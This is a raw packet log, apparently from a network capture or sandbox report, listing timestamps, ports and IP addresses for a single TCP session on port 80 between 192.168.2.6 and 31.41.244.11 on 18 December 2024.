Dec 18, 2024 11:09:28.387583971 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.387595892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.387625933 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.387639999 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.388299942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.388338089 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.529791117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.529887915 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.529949903 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.529989004 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.530031919 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.530067921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.530215979 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.530256033 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.530877113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.530891895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.530922890 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.531887054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.531925917 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.532033920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.532069921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.533190966 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.533305883 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.533346891 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.533385992 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.534235954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.534286976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.534338951 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.534379959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.535060883 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.535074949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.535109043 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.535128117 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.535650969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.535664082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.535696983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.536802053 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.536814928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.536847115 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.537902117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.537940979 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.538043976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.538084984 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.538450003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.538491964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.538635969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.538676977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.539539099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.539583921 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.539731026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.539772034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.540755987 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.540770054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.540803909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.540818930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.541800022 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.541816950 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.541846991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.541862011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.541889906 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.541902065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.541929007 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.542501926 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.542557001 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.542566061 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.542607069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.545241117 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.545303106 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.545358896 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.545396090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.546233892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.546302080 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.546389103 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.546401978 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.546428919 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.546448946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.546519995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.546566010 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.547133923 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.547188044 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.547271967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.547347069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.547981977 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.547998905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.548037052 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.548058987 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.548963070 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.549015045 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.549112082 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.549153090 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.549626112 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.549683094 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.549768925 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.549817085 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.550208092 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.550291061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.550488949 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.550537109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.550818920 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.550863981 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.551057100 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.551100016 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.551541090 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.551554918 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.551589966 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.551615000 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.552251101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.552300930 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.552553892 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.552593946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.552882910 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.552926064 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.553036928 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.553077936 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.553461075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.553472996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.553493977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.553513050 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.554018021 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.554074049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.554090023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.554125071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.555248976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.555325031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.555385113 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.555422068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.556636095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.556684017 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.556893110 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.556941032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.557878017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.557919025 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.557930946 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.557964087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.558520079 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.558562994 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.558629036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.558665991 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.559242010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.559286118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.559325933 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.559365034 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.559920073 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.559969902 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.560165882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.560209036 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.561209917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.561255932 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.561424017 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.561467886 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.562537909 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.562587023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.562593937 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.562627077 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.563383102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.563426018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.563467026 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.563505888 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.564095020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.564116955 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.564136028 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.564153910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.564840078 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.564883947 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.564927101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.564964056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.566103935 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.566165924 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.566307068 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.566346884 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.567480087 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.567522049 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.567696095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.567735910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.568336010 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.568372011 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.568377972 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.568403959 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.569031954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.569077015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.569215059 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.569251060 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.569715023 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.569760084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.569827080 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.569865942 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.570657969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.570698977 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.570826054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.570866108 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.571707964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.571758032 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.571866035 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.571909904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.572952986 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.573002100 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.573070049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.573115110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.573772907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.573807001 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.573821068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.573844910 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.574635029 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.574683905 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.574755907 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.574799061 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.575731993 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.575774908 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.575948954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.575989008 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.576570988 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.576625109 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.576694965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.576733112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.577538967 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.577579021 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.719217062 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.719288111 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.719293118 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.719347000 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.719384909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.719384909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.720719099 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.720782995 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.720818996 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.720828056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.720828056 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.723176003 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.723223925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.723223925 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.723236084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.723272085 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.723309040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.723309040 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.723550081 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.723594904 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.724698067 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.724759102 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.724797964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.724797964 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.724816084 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.725429058 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.725461960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.725469112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.725469112 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.725501060 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.725542068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.725542068 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.726526976 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.726540089 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.726571083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.727876902 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.727888107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.727899075 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.727931023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.727931023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.729391098 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.729402065 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.729423046 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.729437113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.729437113 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.729511023 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.731044054 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.731057882 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.731091976 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.731698036 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.731709957 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.731755018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.731755018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.732619047 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.732639074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.732733011 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.733236074 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.733304024 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.733334064 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.733458042 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.734074116 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.734179974 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.734210968 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.734294891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.735373020 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.735461950 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.735507965 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.735586882 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.736989975 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.737051964 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.737092018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.737092018 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.738325119 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.738337040 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.738380909 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.739397049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.739448071 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.739483118 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.739521027 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.740114927 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.740173101 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.740190983 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.740230083 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.740820885 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.740902901 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.741043091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.741079092 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.741530895 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.741651058 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.741683960 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.741730928 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.742311954 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.742324114 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.742352962 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.742610931 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.742916107 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.742958069 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.743103027 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.743205070 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.743540049 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.743634939 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.743665934 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.743774891 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.744122028 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.744182110 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.744206905 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.744250059 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.744952917 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.744965076 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.745006084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.745006084 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.745595932 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.745671034 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.745692015 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.745774031 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.746591091 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.746658087 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.746691942 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.746737003 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.747682095 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.747694969 CET	80	49912	31.41.244.11	192.168.2.6
Dec 18, 2024 11:09:28.747740030 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.747946978 CET	49912	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:09:28.748761892 CET	80	49912	31.41.244.11	192.168.2.6
